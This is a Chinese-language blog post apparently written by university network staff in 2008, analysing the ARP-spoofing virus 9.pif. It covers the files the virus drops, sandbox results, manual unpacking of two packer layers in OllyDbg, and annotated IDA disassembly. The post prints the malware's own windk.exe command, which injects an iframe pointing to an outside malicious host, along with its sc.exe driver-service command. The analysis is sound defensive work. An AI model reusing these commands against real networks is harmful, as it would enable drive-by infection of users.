arp病毒9.pif分析手记
Published by wangwd@mail.neu.edu.cn under 安全文档 11月 20th, 2008 前一段时间arp病毒闹得挺凶,各个办公楼,宿舍楼都有电脑中毒。还好在网络中心各位同事的努力下,基本把这种类型的病毒控制住了。之前处理arp病毒的时候抓了些样本,现在正好有时间分析一下病毒的运行机制。
样本文件名:9.pif,大小:183916 byte,Md5:f91745985da2e6f2710316fcb690226c。其实病毒发作时还会释放运行一系列的文件,2.pif,4.pif,ms.pif…只是主要的扩展传播功能是在9.pif里,所以着重分析该文件。
(一)概要
该文件后缀为pif,pif是什么格式呢?
baidu一下:pif的中文名称叫:程序信息文件大概是“program information file”的缩写。指向DOS程序的快捷方式就是PIF文件,自从windows3.1就有了,内中包含执行DOS程序的一些设置,比如路径、窗口和字体。
好像是一个快捷方式,可是在该文件的属性里却找不到该快捷方式所指的文件。用lordpe分析可以看出该文件有完整的PE结构,其实是一个exe文件。
(二)行为特征:
把该文件提交到VirusTotal,看看是否能检测出来。
http://www.virustotal.com/analisis/fb59b7504a70388c39fcfa35e2cb261d
大部分杀毒软件都能检测出是病毒,只是检测结果差别很大。从后面的分析结果看,Nod32结果比较准确,Kaspersky,Symantec, McAfee 结果就不太准了。瑞星的检测结果有点奇怪,加了壳的软件就一定是病毒吗?
再看看这个病毒的行为特征:把样本提交到CWSandbox,不到一分钟,程序检测结果就出来了。
http://www.cwsandbox.org/?page=report&analysisid=505862&password=pahcj
病毒行为特征:
1) 释放出 WanPacket.dll,Packet.dll,wpcap.dll,npptools.dll,windk.exe到system32目录,释放npf.sys到系统drivers目录。
2) 创建一个进程,执行命令
"C:\WINDOWS\system32\sc.exe create npf binpath= C:\WINDOWS\system32\drivers\npf.sys type= kernel start= demand”
3) 创建一个进程,执行命令
C:\WINDOWS\system32\windk.exe -idx 0 -ip 10.1.3.2-10.1.3.254 -port 80 -insert <iframe src=http://%77%2E%64%35%78%38%2E%63%6F%6D/index.gif width=100 height=0></iframe>
特征2是将npf.sys注册为系统服务
WanPacket.dll Packet.dll wpcap.dll,npf.sys是winpcap驱动的文件,npptools.dll百度了一下是和发送接收arp数据包有关的windows系统文件。将npf.sys注册为服务后,其它工具可以用它来捕获网络数据。
特征3是开启arp欺骗,Windk.exe是一个arp攻击软件,用于对同网段内的其他主机arp欺骗后在web页面里插入 ”…”代码,感染其它主机。被感染主机无论访问什么网站,都会被插入” http://%77%2E%64%35%78%38%2E%63%6F%6D/index.gif”,解码后即” http://www.w.d5×8.com.com/index.gif” 这个url,该url里包含恶意代码,导致未打补丁主机中毒。
(三)反汇编代码分析:
知道了病毒基本行为,下面开始对病毒详细的解剖。
用peid检测病毒是否加壳,检测没有结果,改成深度扫描后检测出用nSPack21-2.5加壳。
1.脱壳
使用手工脱壳
说明:([F2]:下软断点、[F4]:执行到当前代码处、[F7]:单步步入、[F8]:单步步过、[F9]:运行。)
(1) 打开OD,设置OD为”不忽略任何异常”, 载入病毒程序,程序停在入口处
使用经典的ESP定律,[F8]运行一行,记下这时ESP的值(ESP=0012FFC0),在内存窗口ctrl+g定位到0012FFC0,右键菜单中选”断点”-”硬件访问”-”DWORD”
004872A1 9C pushfd ;<--[F8]运行, 004872A2 60 pushad 004872A3 E8 00000000 call 004872A8 004872A8 5D pop ebp 004872A9 B8 07000000 mov eax, 7 004872AE 2BE8 sub ebp, eax 004872B0 8DB5 B3FDFFFF lea esi, dword ptr [ebp-24D] 004872B6 8A06 mov al, byte ptr [esi] 004872B8 3C 00 cmp al, 0 004872BA 74 12 je short 004872CE 004872BC 8BF5 mov esi, ebp 004872BE 8DB5 DBFDFFFF lea esi, dword ptr [ebp-225] 004872C4 8A06 mov al, byte ptr [esi]

(2) [F9]继续运行,程序在访问0012FFC0时中断,停在00487526,这里就是nspack壳的末端了。后来继续分析才发现病毒还有一层壳,即”壳中壳”,第二层壳使用了异常中断保护,比第一层壳难脱。
00487521 C2 0C00 retn 0C 00487524 61 popad 00487525 9D popfd 00487526 - E9 22DBFFFF jmp 0048504D ;--[F9]后中断在这里 0048752B 8BB5 67FDFFFF mov esi, dword ptr [ebp-299] 00487531 0BF6 or esi, esi 00487533 0F84 97000000 je 004875D0 00487539 8B95 6FFDFFFF mov edx, dword ptr [ebp-291] 0048753F 03F2 add esi, edx 00487541 833E 00 cmp dword ptr [esi], 0 00487544 75 0E jnz short 00487554 00487546 837E 04 00 cmp dword ptr [esi+4], 0 0048754A 75 08 jnz short 00487554 0048754C 837E 08 00 cmp dword ptr [esi+8], 0 00487550 75 02 jnz short 00487554 00487552 EB 7A jmp short 004875CE 00487554 8B5E 08 mov ebx, dword ptr [esi+8] 00487557 03DA add ebx, edx
(3) [F8]单步运行下去,到达第二层壳的入口0048504D,如果出现”db *** db *** db ***”这样的数据格式,可以在右键菜单 - 分析 -分析代码 转换成汇编格式
一直[F8]运行下去,直到代码0048509D处
00485099 . 90 nop 0048509A . 8037 34 xor byte ptr [edi], 34 0048509D . 68 C1504800 push 004850C1 ;<--SEH处理函数 004850A2 . 64:FF35 00000 push dword ptr fs:[0];原SEH处理函数 004850A9 . 64:8925 00000 mov dword ptr fs:[0], esp 004850B0 . CD 2D int 2D ;异常 004850B2 . C3 retn 004850B3 . 64:8F05 00000 pop dword ptr fs:[0] 004850BA . 83C4 04 add esp, 4 004850BD . FF6424 20 jmp dword ptr [esp+20] 004850C1 . 4B dec ebx 004850C2 . 43 inc ebx
这里是程序的关键地方,如果在OD里一直[F8]下去,程序运行到004850B0 int 2D后就会结束运行。OD不能识别int 2D这个异常,第二层壳的厉害之处就在这里,病毒是在异常处理函数004850C1里解压执行的,用OD识别不了这个异常,找不到真正的病毒程序。
解决方法,修改0048509D处的汇编代码,改为”jmp 004850C1″,直接跳到异常处理程序004850C1中

00485099 . 90 nop 0048509A . 8037 34 xor byte ptr [edi], 34 0048509D EB 22 jmp short 004850C1 ;<--手工修改后,[F8] 0048509F 50 push eax 004850A0 48 dec eax 004850A1 0064FF 35 add byte ptr [edi+edi*8+35], ah 004850A5 ? 0000 add byte ptr [eax], al 004850A7 ? 0000 add byte ptr [eax], al 004850A9 . 64:8925 00000 mov dword ptr fs:[0], esp 004850B0 . CD 2D int 2D 004850B2 . C3 retn 004850B3 . 64:8F05 00000 pop dword ptr fs:[0] 004850BA . 83C4 04 add esp, 4 004850BD . FF6424 20 jmp dword ptr [esp+20]
[F8]一直往下单步运行,到00485176后,retn跳转到了真正的EOP
00485167 ? 68 78394000 push 00403978 0048516C . 85ED test ebp, ebp 0048516E . EB 00 jmp short 00485170 00485170 . 85E4 test esp, esp 00485172 . 41 inc ecx 00485173 . 49 dec ecx 00485174 . 85F6 test esi, esi 00485176 . C3 retn ;<--跳转到真正的EOP(00403978)处执行 .... .... 00403978 . 55 push ebp ;-- EOP 00403979 . 8BEC mov ebp, esp 0040397B . B9 0A000000 mov ecx, 0A 00403980 . 6A 00 push 0 00403982 . 6A 00 push 0 00403984 . 49 dec ecx 00403985 .^ 75 F9 jnz short 00403980 00403987 . 53 push ebx 00403988 . 56 push esi 00403989 . 57 push edi 0040398A . B8 38394000 mov eax, 00403938 0040398F . E8 08FCFFFF call 0040359C 00403994 . BE 6C564000 mov esi, 0040566C 00403999 . 33C0 xor eax, eax 0040399B . 55 push ebp 0040399C . 68 BD3C4000 push 00403CBD 004039A1 . 64:FF30 push dword ptr fs:[eax] 004039A4 . 64:8920 mov dword ptr fs:[eax], esp 004039A7 . 6A 32 push 32 ; /BufSize = 32 (50.) 004039A9 . 56 push esi ; |Buffer => 9.0040566C 004039AA . E8 B9FCFFFF call 00403668 ; \GetSystemDirectoryA 004039AF . 33C0 xor eax, eax
(4) 这时候就可以dump出病毒程序了
此时dump的程序dump.exe IAT表有问题,不能运行。可以用import REC修复,最终生成dump_.exe。
2.逆向反汇编分析
脱壳成功后,就可以用IDA分析了(已附上注释)。
y._f0:00403978 start: y._f0:00403978 push ebp ;程序入口 y._f0:00403979 mov ebp, esp y._f0:0040397B mov ecx, 0Ah y._f0:00403980 y._f0:00403980 loc_403980: ; CODE XREF: y._f0:00403985 j y._f0:00403980 push 0 y._f0:00403982 push 0 y._f0:00403984 dec ecx y._f0:00403985 jnz short loc_403980 y._f0:00403987 push ebx y._f0:00403988 push esi y._f0:00403989 push edi y._f0:0040398A mov eax, offset dword_403938 y._f0:0040398F call sub_40359C ; Initialization y._f0:00403994 mov esi, offset strSysDir y._f0:00403999 xor eax, eax y._f0:0040399B push ebp y._f0:0040399C push offset exception_403CBD ; SEH handle routine y._f0:004039A1 push dword ptr fs:[eax] y._f0:004039A4 mov fs:[eax], esp y._f0:004039A7 push 32h y._f0:004039A9 push esi y._f0:004039AA call GetSystemDirectoryA ; GetSystemDirectory(&strSysDir,50)获取系统目录 y._f0:004039AF xor eax, eax y._f0:004039B1 push ebp y._f0:004039B2 push offset exception_403C98 ; SEH handle routine y._f0:004039B7 push dword ptr fs:[eax] y._f0:004039BA mov fs:[eax], esp y._f0:004039BD lea eax, [ebp-14h] ; 保存指向WanPacket.dll目录字符串的指针值 y._f0:004039C0 mov edx, esi ; esi保存的是&strSysDir y._f0:004039C2 mov ecx, 33h y._f0:004039C7 call sub_403060 ; 申请内存,把字符串复制到内存中, y._f0:004039C7 ; 并把内存的指针保存到堆栈的指定地址中 y._f0:004039C7 ; eax=堆栈中保存字符串指针的地址 y._f0:004039C7 ; edx=要复制的字符串 y._f0:004039C7 ; ecx=字符串长度 y._f0:004039CC lea eax, [ebp-14h] y._f0:004039CF mov edx, offset strWanPacketFileName y._f0:004039D4 call sub_403080 ; eax=堆栈中指向字符串1的内存块指针的地址 y._f0:004039D4 ; edx=字符串2 y._f0:004039D4 ; 类似strcat(str1,str2) y._f0:004039D9 mov eax, [ebp-14h] y._f0:004039DC mov edx, offset aUrllwan ; "URLLWAN" y._f0:004039E1 call sub_40382C ; 释放资源"URLLWAN"到c:\windows\system32\WanPacket.dll y._f0:004039E6 lea eax, [ebp-18h] y._f0:004039E9 mov edx, esi y._f0:004039EB mov ecx, 33h y._f0:004039F0 call sub_403060 y._f0:004039F5 lea eax, [ebp-18h] y._f0:004039F8 mov edx, offset dword_403CFC ; "packet.dll" y._f0:004039FD call sub_403080 ; 连接两个字符串,eax=堆栈中指向字符串1的内存块指针的地址 y._f0:004039FD ; edx=字符串2 y._f0:004039FD ; 类似strcat(str1,str2) y._f0:00403A02 mov eax, [ebp-18h] y._f0:00403A05 mov edx, offset aUrllpac ; "URLLPAC" y._f0:00403A0A call sub_40382C ; 释放资源"URLLPAC"到c:\windows\system32\packet.dll y._f0:00403A0F lea eax, [ebp-1Ch] y._f0:00403A12 mov edx, esi y._f0:00403A14 mov ecx, 33h y._f0:00403A19 call sub_403060 y._f0:00403A1E lea eax, [ebp-1Ch] y._f0:00403A21 mov edx, offset dword_403D20 ; "wpcap.dll" y._f0:00403A26 call sub_403080 ; 类似strcat(str1,str2) y._f0:00403A2B mov eax, [ebp-1Ch] y._f0:00403A2E mov edx, offset aUrllwpc ; "URLLWPC" y._f0:00403A33 call sub_40382C ; 释放资源URLLWPC到c:\windows\system32\wpcap.dll y._f0:00403A38 lea eax, [ebp-20h] y._f0:00403A3B mov edx, esi y._f0:00403A3D mov ecx, 33h y._f0:00403A42 call sub_403060 y._f0:00403A47 lea eax, [ebp-20h] y._f0:00403A4A mov edx, offset aDriversNpf_sys ; "\\drivers\\npf.sys" y._f0:00403A4F call sub_403080 ; 类似strcat(str1,str2) y._f0:00403A54 mov eax, [ebp-20h] y._f0:00403A57 mov edx, offset aUrllnpf ; "URLLNPF" y._f0:00403A5C call sub_40382C ; 释放资源URLLNPF到c:\windows\system32\drivers\npf.sys y._f0:00403A61 lea eax, [ebp-24h] y._f0:00403A64 mov edx, esi y._f0:00403A66 mov ecx, 33h y._f0:00403A6B call sub_403060 ; 申请内存,把字符串复制到内存中 y._f0:00403A70 lea eax, [ebp-24h] y._f0:00403A73 mov edx, offset dword_403D70 ; "npptools.dll" y._f0:00403A78 call sub_403080 ; 类似strcat(str1,str2) y._f0:00403A7D mov eax, [ebp-24h] y._f0:00403A80 mov edx, offset aUrllnpp ; "URLLNPP" y._f0:00403A85 call sub_40382C ; 释放资源"URLLNPP"到c:\windows\system32\npptools.dll y._f0:00403A8A lea eax, [ebp-28h] y._f0:00403A8D mov edx, esi y._f0:00403A8F mov ecx, 33h y._f0:00403A94 call sub_403060 ; 申请内存,把字符串复制到内存中 y._f0:00403A99 lea eax, [ebp-28h] y._f0:00403A9C mov edx, offset dword_403D98 ; "windk.exe" y._f0:00403AA1 call sub_403080 ; 类似strcat(str1,str2) y._f0:00403AA6 mov eax, [ebp-28h] y._f0:00403AA9 mov edx, offset aUrllarp ; "URLLARP" y._f0:00403AAE call sub_40382C ; 释放资源"URLLARP"到c:\windows\system32\windk.exe y._f0:00403AB3 push 2710h y._f0:00403AB8 call Sleep ; Sleep(10000) y._f0:00403ABD lea eax, [ebp-2Ch] y._f0:00403AC0 call sub_403784 ; 获得本机ip地址 y._f0:00403AC5 mov edx, [ebp-2Ch] y._f0:00403AC8 mov eax, offset dword_403DBC ; '.' y._f0:00403ACD call sub_4031AC ; 类似于strstr(edx,eax) y._f0:00403ACD ; edx=字符串地址 y._f0:00403ACD ; eax=要查找的字符 y._f0:00403ACD ; 返回:eax=第一次出现要查找字符的偏移量 y._f0:00403AD2 mov ebx, eax y._f0:00403AD4 push offset dword_4056A4 y._f0:00403AD9 lea eax, [ebp-30h] y._f0:00403ADC call sub_403784 ; 获得本机ip地址 y._f0:00403AE1 mov eax, [ebp-30h] y._f0:00403AE4 call sub_403078 ; get length of string y._f0:00403AE9 push eax ; length y._f0:00403AEA lea eax, [ebp-34h] y._f0:00403AED call sub_403784 ; 获得本机ip地址 y._f0:00403AF2 mov eax, [ebp-34h] ; ip string y._f0:00403AF5 lea edx, [ebx+1] y._f0:00403AF8 pop ecx ; length y._f0:00403AF9 call sub_40316C ; substring(strIp,strstr(strIp,'.'),strlen(strIp)) y._f0:00403AF9 ; edx=偏移量 y._f0:00403AF9 ; eax=字符串地址 y._f0:00403AF9 ; ecx=字符的长度 y._f0:00403AF9 ; 返回:eax=保存子字符串的变量的指针 y._f0:00403AFE mov edx, dword_4056A4 y._f0:00403B04 mov eax, offset dword_403DBC ; found the next '.' position y._f0:00403B09 call sub_4031AC ; 类似于strstr(edx,eax) y._f0:00403B09 ; edx=字符串地址 y._f0:00403B09 ; eax=要查找的字符 y._f0:00403B09 ; 返回:eax=第一次出现要查找字符的偏移量 y._f0:00403B0E mov ebx, eax y._f0:00403B10 push offset dword_4056A4 y._f0:00403B15 mov eax, dword_4056A4 y._f0:00403B1A call sub_403078 ; get length of string y._f0:00403B1F mov ecx, eax y._f0:00403B21 lea edx, [ebx+1] y._f0:00403B24 mov eax, dword_4056A4 y._f0:00403B29 call sub_40316C ; 类似substring(strIp,strstr(strIp,'.'),strlen(strIp)) y._f0:00403B2E mov edx, dword_4056A4 y._f0:00403B34 mov eax, offset dword_403DBC y._f0:00403B39 call sub_4031AC ; 类似于strstr(edx,eax) y._f0:00403B3E mov ebx, eax y._f0:00403B40 push offset dword_4056A4 y._f0:00403B45 mov eax, dword_4056A4 y._f0:00403B4A call sub_403078 ; get length of string y._f0:00403B4F mov ecx, eax y._f0:00403B51 lea edx, [ebx+1] y._f0:00403B54 mov eax, dword_4056A4 y._f0:00403B59 call sub_40316C ; 类似substring(strIp,strstr(strIp,'.'),strlen(strIp)) y._f0:00403B5E mov eax, dword_4056A4 y._f0:00403B63 call sub_403078 ; get length of string y._f0:00403B68 mov ebx, eax y._f0:00403B6A push offset strNetworkPrefix y._f0:00403B6F lea eax, [ebp-38h] y._f0:00403B72 call sub_403784 ; 获得本机ip地址 y._f0:00403B77 mov eax, [ebp-38h] y._f0:00403B7A call sub_403078 ; get length of string y._f0:00403B7F sub eax, ebx y._f0:00403B81 push eax y._f0:00403B82 lea eax, [ebp-3Ch] y._f0:00403B85 call sub_403784 ; 获得本机ip地址 y._f0:00403B8A mov eax, [ebp-3Ch] y._f0:00403B8D mov edx, 1 y._f0:00403B92 pop ecx y._f0:00403B93 call sub_40316C ; 类似substring(strIp,strstr(strIp,'.'),strlen(strIp)) y._f0:00403B98 push strNetworkPrefix y._f0:00403B9E push offset dword_403DC8 ; "2-" y._f0:00403BA3 push strNetworkPrefix y._f0:00403BA9 push offset dword_403DD4 ; "254" y._f0:00403BAE mov eax, offset strIpRange y._f0:00403BB3 mov edx, 4 y._f0:00403BB8 call sub_4030C4 ; 连接字符串,构造启动参数 y._f0:00403BB8 ; 如:sub_4030C4("10.0.123.","2-","10.0.123.","254) y._f0:00403BB8 ; 结果为:"10.0.123.2-10.0.123.254" y._f0:00403BBD push 0 y._f0:00403BBF push 0 y._f0:00403BC1 push offset aCreateNpfBinpa ; "create npf binpath= " y._f0:00403BC6 lea eax, [ebp-44h] y._f0:00403BC9 mov edx, esi y._f0:00403BCB mov ecx, 33h y._f0:00403BD0 call sub_403060 ; 申请内存,把字符串复制到内存中 y._f0:00403BD5 push dword ptr [ebp-44h] y._f0:00403BD8 push offset aDriversNpf_sys ; "\\drivers\\npf.sys" y._f0:00403BDD push offset aTypeKernelStar ; " type= kernel start= demand" y._f0:00403BE2 lea eax, [ebp-40h] y._f0:00403BE5 mov edx, 4 y._f0:00403BEA call sub_4030C4 ; sub_4030C4(str1,str2,str3,str4)构造启动参数 y._f0:00403BEF mov eax, [ebp-40h] y._f0:00403BF2 call sub_403160 ; eax==0?0:[403165] y._f0:00403BF7 push eax y._f0:00403BF8 lea eax, [ebp-48h] y._f0:00403BFB mov edx, esi y._f0:00403BFD mov ecx, 33h y._f0:00403C02 call sub_403060 ; 申请内存,把字符串复制到内存中 y._f0:00403C07 lea eax, [ebp-48h] y._f0:00403C0A mov edx, offset dword_403E24 y._f0:00403C0F call sub_403080 ; 类似strcat(str1,str2) y._f0:00403C14 mov eax, [ebp-48h] y._f0:00403C17 call sub_403160 ; eax==0?0:[403165] y._f0:00403C1C push eax ; strSysDir+"sc.exe" y._f0:00403C1D push offset aOpen ; "open" y._f0:00403C22 push 0 y._f0:00403C24 call ShellExecuteA ; ShellExecuteA("c:\windows\system32\sc.exe".... y._f0:00403C29 push 1F40h y._f0:00403C2E call Sleep ; Sleep(8000) y._f0:00403C33 push 0 y._f0:00403C35 push 0 y._f0:00403C37 push offset dword_403E3C ; "-idx 0 -ip" y._f0:00403C3C push strIpRange y._f0:00403C42 push offset aPort80InsertIf ; " -port 80 -insert \"<iframe src=http://%"... y._f0:00403C47 lea eax, [ebp-4Ch] y._f0:00403C4A mov edx, 3 y._f0:00403C4F call sub_4030C4 ; 构造启动参数 y._f0:00403C54 mov eax, [ebp-4Ch] y._f0:00403C57 call sub_403160 ; eax==0?0:[403165] y._f0:00403C5C push eax y._f0:00403C5D lea eax, [ebp-50h] y._f0:00403C60 mov edx, esi y._f0:00403C62 mov ecx, 33h y._f0:00403C67 call sub_403060 ; 申请内存,把字符串复制到内存中 y._f0:00403C6C lea eax, [ebp-50h] y._f0:00403C6F mov edx, offset dword_403D98 ; "windk.exe" y._f0:00403C74 call sub_403080 ; 类似strcat(str1,str2) y._f0:00403C79 mov eax, [ebp-50h] y._f0:00403C7C call sub_403160 ; eax==0?0:[403165] y._f0:00403C81 push eax y._f0:00403C82 push offset aOpen ; "open" y._f0:00403C87 push 0 y._f0:00403C89 call ShellExecuteA ; ShellExecuteA("c:\windows\system32\windk.exe.... y._f0:00403C8E xor eax, eax y._f0:00403C90 pop edx y._f0:00403C91 pop ecx y._f0:00403C92 pop ecx y._f0:00403C93 mov fs:[eax], edx y._f0:00403C96 jmp short loc_403CA2
(四)小结:
这个病毒相对比较简单,把所要用到的程序和自己打包成一个文件,发作时把所有文件释放出来运行。只是加了两层壳,脱壳比较麻烦




